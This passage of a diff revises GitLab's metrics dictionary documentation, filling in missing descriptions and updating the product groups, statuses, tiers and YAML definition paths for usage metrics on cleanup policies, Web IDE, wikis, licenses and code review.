[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml)
@@ -5312,11 +5288,11 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_1d`
-Missing description
+A count of projects with the cleanup policy set to run every day
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml)
@@ -5324,11 +5300,11 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_1month`
-Missing description
+A count of projects with the cleanup policy set to run monthly
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml)
@@ -5336,11 +5312,11 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_3month`
-Missing description
+A count of projects with the cleanup policy set to run every 3 months
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml)
@@ -5348,11 +5324,11 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_7d`
-Missing description
+A count of projects with the cleanup policy set to run every 7 days
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml)
@@ -5360,95 +5336,95 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_1`
-Missing description
+A count of projects with the cleanup policy set to keep 1 tag
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml)
Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_10`
-Missing description
+A count of projects with the cleanup policy set to keep 10 tags
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml)
Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_100`
-Missing description
+A count of projects with the cleanup policy set to keep 100 tags
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml)
Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_25`
-Missing description
+A count of projects with the cleanup policy set to keep 25 tags
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml)
Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_5`
-Missing description
+A count of projects with the cleanup policy set to keep 5 tags
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml)
Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_50`
-Missing description
+A count of projects with the cleanup policy set to keep 50 tags
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml)
Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_keep_n_unset`
-Missing description
+A count of projects with the cleanup policy with the number of tags to keep unset
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml)
Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_older_than_set_to_14d`
-Missing description
+A count of projects with the cleanup policy set delete tags older than 14 days
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml)
@@ -5456,11 +5432,11 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_older_than_set_to_30d`
-Missing description
+A count of projects with the cleanup policy set delete tags older than 30 days
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml)
@@ -5468,11 +5444,11 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_older_than_set_to_7d`
-Missing description
+A count of projects with the cleanup policy set delete tags older than 7 days
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml)
@@ -5480,11 +5456,11 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_older_than_set_to_90d`
-Missing description
+A count of projects with the cleanup policy set delete tags older than 90 days
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml)
@@ -5492,11 +5468,11 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_older_than_unset`
-Missing description
+A count of projects with the cleanup policy with the number of tags to delete unset
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml)
@@ -5504,11 +5480,11 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_packages`
-Projects with package registry configured
+Projects with package registry enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181011_projects_with_packages.yml)
@@ -5516,7 +5492,7 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_prometheus_alerts`
@@ -5524,9 +5500,9 @@ Projects with Prometheus alerting enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml)
-Group: `group::apm`
+Group: `group::monitor`
-Status: `data_available`
+Status: `removed`
Tiers: `free`
@@ -5666,13 +5642,13 @@ Tiers: `ultimate`
Count of requirements created
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175028_requirements_created.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175028_requirements_created.yml)
Group: `group::certify`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `counts.requirements_with_test_report`
@@ -5796,7 +5772,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.static_site_editor_commits`
-Count of commits created via Static Site Editor
+Count of commits created from the Static Site Editor
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180301_static_site_editor_commits.yml)
@@ -5804,7 +5780,7 @@ Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.static_site_editor_merge_requests`
@@ -5816,11 +5792,11 @@ Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.static_site_editor_views`
-Missing description
+Count of Static Site Editor views
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180259_static_site_editor_views.yml)
@@ -6012,15 +5988,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.templates_datadog_active`
-Missing description
+Count of active service templates for Datadog
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182551_templates_datadog_active.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.templates_discord_active`
@@ -6060,15 +6036,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.templates_ewm_active`
-Missing description
+Count of active service templates for EWM
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182618_templates_ewm_active.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.templates_external_wiki_active`
@@ -6098,13 +6074,13 @@ Tiers: `free`, `premium`, `ultimate`
Count of active service templates for GitHub
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175851_templates_github_active.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175851_templates_github_active.yml)
Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`, `premium`, `ultimate`
+Tiers: `premium`, `ultimate`
### `counts.templates_hangouts_chat_active`
@@ -6204,27 +6180,27 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.templates_mock_ci_active`
-Missing description
+Count of active service templates for Mock CI
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml)
-Group: ``
+Group: `group::ecosystem`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.templates_mock_monitoring_active`
-Missing description
+Count of active service templates for Mock Monitoring
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml)
-Group: ``
+Group: `group::ecosystem`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.templates_packagist_active`
@@ -6420,7 +6396,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.user_preferences_group_overview_details`
-Count of users who set personal preference to see Details on Group overview page
+Count of users who set personal preference to see Details on Group information page
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182203_user_preferences_group_overview_details.yml)
@@ -6432,7 +6408,7 @@ Tiers: `ultimate`
### `counts.user_preferences_group_overview_security_dashboard`
-Count of users who set personal preference to see Security Dashboard on Group overview page
+Count of users who set personal preference to see Security Dashboard on Group information page
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182205_user_preferences_group_overview_security_dashboard.yml)
@@ -6444,7 +6420,7 @@ Tiers: `ultimate`
### `counts.user_preferences_user_gitpod_enabled`
-Count all users with their GitPod setting enabled
+Count of users with the GitPod integration enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml)
@@ -6468,7 +6444,7 @@ Tiers: `free`
### `counts.web_ide_commits`
-Count of Commits made from Web IDE
+Count of commits made from the Web IDE
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180242_web_ide_commits.yml)
@@ -6480,7 +6456,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.web_ide_merge_requests`
-Count of merge requests created from Web IDE
+Count of merge requests created from the Web IDE
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml)
@@ -6492,7 +6468,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.web_ide_pipelines`
-Count of Pipeline tab views in Web IDE
+Count of Pipeline tab views in the Web IDE
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180252_web_ide_pipelines.yml)
@@ -6504,7 +6480,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.web_ide_previews`
-Count of Live Preview tab views in Web IDE
+Count of Live Preview tab views in the Web IDE
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180248_web_ide_previews.yml)
@@ -6516,7 +6492,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.web_ide_terminals`
-Count of Web Terminal Tab views in Web IDE
+Count of Web Terminal tab views in the Web IDE
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180250_web_ide_terminals.yml)
@@ -6528,7 +6504,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.web_ide_views`
-Count of Views of the Web IDE
+Count of views of the Web IDE
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180244_web_ide_views.yml)
@@ -6540,39 +6516,39 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.wiki_pages_create`
-Missing description
+Count of all Wiki pages created
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180734_wiki_pages_create.yml)
-Group: `group::knowledge`
+Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.wiki_pages_delete`
-Missing description
+Count of all Wiki pages deleted
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180738_wiki_pages_delete.yml)
-Group: `group::knowledge`
+Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.wiki_pages_update`
-Missing description
+Count of all Wiki page updates
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180736_wiki_pages_update.yml)
-Group: `group::knowledge`
+Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.wiki_pages_view`
@@ -6594,7 +6570,7 @@ Missing description
Group: ``
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6606,7 +6582,7 @@ Missing description
Group: ``
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6618,7 +6594,7 @@ Missing description
Group: ``
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6720,7 +6696,7 @@ Tiers: `free`
### `counts_monthly.packages`
-Monthly count of Packages
+A monthly count of packages published to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181050_packages.yml)
@@ -6728,11 +6704,11 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts_monthly.personal_snippets`
-Monthly count of Personal Snippets
+Monthly count of personal Snippets
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180308_personal_snippets.yml)
@@ -6744,7 +6720,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts_monthly.project_snippets`
-Monthly count of Project Snippets
+Monthly count of project Snippets
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180310_project_snippets.yml)
@@ -6754,6 +6730,18 @@ Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `counts_monthly.projects`
+
+Count number of projects created monthly
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210514141518_monthly_projects_creation.yml)
+
+Group: `group::project management`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
### `counts_monthly.projects_with_alerts_created`
Monthly count of unique projects with HTTP alerting enabled
@@ -6798,7 +6786,7 @@ Missing description
Group: ``
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6810,7 +6798,7 @@ Missing description
Group: ``
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6822,7 +6810,7 @@ Missing description
Group: ``
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6936,15 +6924,15 @@ Tiers: `free`, `premium`, `ultimate`
### `dependency_proxy_enabled`
-Whether dependency proxy is enabled
+A count of projects where the dependency proxy is enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124900_dependency_proxy_enabled.yml)
-Group: `group::product intelligence`
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `edition`
@@ -6984,15 +6972,15 @@ Tiers: `premium`, `ultimate`
### `git.version`
-Missing description
+Information about Git version
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210216183237_version.yml)
-Group: ``
+Group: `group::distribution`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `gitaly.clusters`
@@ -7080,7 +7068,7 @@ Tiers: `free`, `premium`, `ultimate`
### `gitpod_enabled`
-Whether gitpod is enabled in the instance
+Whether Gitpod is enabled in the instance
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216180314_gitpod_enabled.yml)
@@ -7108,19 +7096,19 @@ Whether gravatar is enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124904_gravatar_enabled.yml)
-Group: `group::product intelligence`
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `historical_max_users`
-The maximum active user count. Active is defined in UsersStatistics model.
+The peak active user count. Active is defined in UsersStatistics model.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124835_historical_max_users.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
@@ -7146,7 +7134,7 @@ Whether or not ModSecurity is enabled within Ingress
Group: `group::container security`
-Status: `deprecated`
+Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -7186,13 +7174,25 @@ Status: `data_available`
Tiers: `free`
+### `license_billable_users`
+
+Number of all billable users (active users excluding bots and guests).
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210531204603_license_billable_users.yml)
+
+Group: `group::product intelligence`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
### `license_expires_at`
The date the license ends
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124847_license_expires_at.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
@@ -7204,7 +7204,7 @@ The ID of the license
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124833_license_id.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
@@ -7212,15 +7212,15 @@ Tiers: `premium`, `ultimate`
### `license_md5`
-The license key of the GitLab instance
+The MD5 hash of license key of the GitLab instance
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124831_license_md5.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
-Tiers: `free`, `premium`, `ultimate`
+Tiers: `premium`, `ultimate`
### `license_plan`
@@ -7228,7 +7228,7 @@ The plan of the GitLab license
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124849_license_plan.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
@@ -7240,7 +7240,7 @@ The date the license starts
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124845_license_starts_at.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
@@ -7252,7 +7252,7 @@ Licese zuora_subscription_id
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124852_license_subscription_id.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
@@ -7262,9 +7262,9 @@ Tiers: `premium`, `ultimate`
Whether this is a trial license or not
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210204124851_license_trial.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124851_license_trial.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
@@ -7272,23 +7272,23 @@ Tiers: `premium`, `ultimate`
### `license_trial_ends_on`
-Date the license ends on
+Date the trial license ends on
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210204124926_license_trial_ends_on.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124926_license_trial_ends_on.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `license_user_count`
-The number of users included in the license
+The number of seats included in the license
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124843_license_user_count.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
@@ -7300,7 +7300,7 @@ Company on the GitLab license
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124841_company.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
@@ -7312,7 +7312,7 @@ Email on the GitLab license
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124839_email.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
@@ -7324,7 +7324,7 @@ Name on the GitLab license
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210204124837_name.yml)
-Group: `group::product intelligence`
+Group: `group::license`
Status: `data_available`
@@ -7348,11 +7348,11 @@ Whether Mattermost is enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124908_mattermost_enabled.yml)
-Group: `group::product intelligence`
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `object_store.artifacts.enabled`
@@ -7676,7 +7676,7 @@ Group: `group::product intelligence`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `prometheus_metrics_enabled`
@@ -7688,7 +7688,7 @@ Group: `group::product intelligence`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `recorded_at`
@@ -7724,7 +7724,7 @@ Group: `group::product intelligence`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.analytics.analytics_total_unique_counts_monthly`
@@ -7926,7 +7926,7 @@ Counts visits to DevOps Adoption page per month
Group: `group::optimize`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -7938,7 +7938,7 @@ Counts visits to DevOps Adoption page per week
Group: `group::optimize`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -8166,7 +8166,7 @@ Counts visits to DevOps Adoption page per month
Group: `group::optimize`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -8178,7 +8178,7 @@ Counts visits to DevOps Adoption page per week
Group: `group::optimize`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -8208,27 +8208,27 @@ Tiers:
### `redis_hll_counters.ci_templates.ci_templates_total_unique_counts_monthly`
-Missing description
+Total count of pipelines runs
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml)
-Group: ``
+Group: `group::configure`
-Status: `data_available`
+Status: `broken`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ci_templates.ci_templates_total_unique_counts_weekly`
-Missing description
+Total count of pipelines runs
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml)
-Group: ``
+Group: `group::configure`
-Status: `data_available`
+Status: `broken`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ci_templates.p_ci_templates_5_min_production_app_monthly`
@@ -8614,6 +8614,30 @@ Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `redis_hll_counters.code_review.i_code_review_click_diff_view_setting_monthly`
+
+Count of users clicking diff view setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210607113556_i_code_review_click_diff_view_setting_monthly.yml)
+
+Group: `group::code review`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_click_diff_view_setting_weekly`
+
+Count of users clicking diff view setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210607113552_i_code_review_click_diff_view_setting_weekly.yml)
+
+Group: `group::code review`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
### `redis_hll_counters.code_review.i_code_review_click_file_browser_setting_monthly`
Count of users clicking merge request file browser setting
@@ -8622,7 +8646,7 @@ Count of users clicking merge request file browser setting
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8634,7 +8658,7 @@ Count of users with merge request file list setting
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8646,7 +8670,7 @@ Count of users clicking single file mode setting
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8658,7 +8682,7 @@ Count of users clicking single file mode setting
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8670,7 +8694,7 @@ Count of users clicking merge request whitespae setting
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8682,7 +8706,7 @@ Count of users clicking merge request whitespae setting
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8694,7 +8718,7 @@ Count of users with show whitespace disabled
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8706,7 +8730,7 @@ Count of users with show whitespace disabled
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8718,7 +8742,7 @@ Count of users with single mode disabled
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8730,7 +8754,7 @@ Count of users with single mode disabled
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8742,7 +8766,7 @@ Count of users with show whitespace enabled
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8754,7 +8778,7 @@ Count of users with show whitespace enabled
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
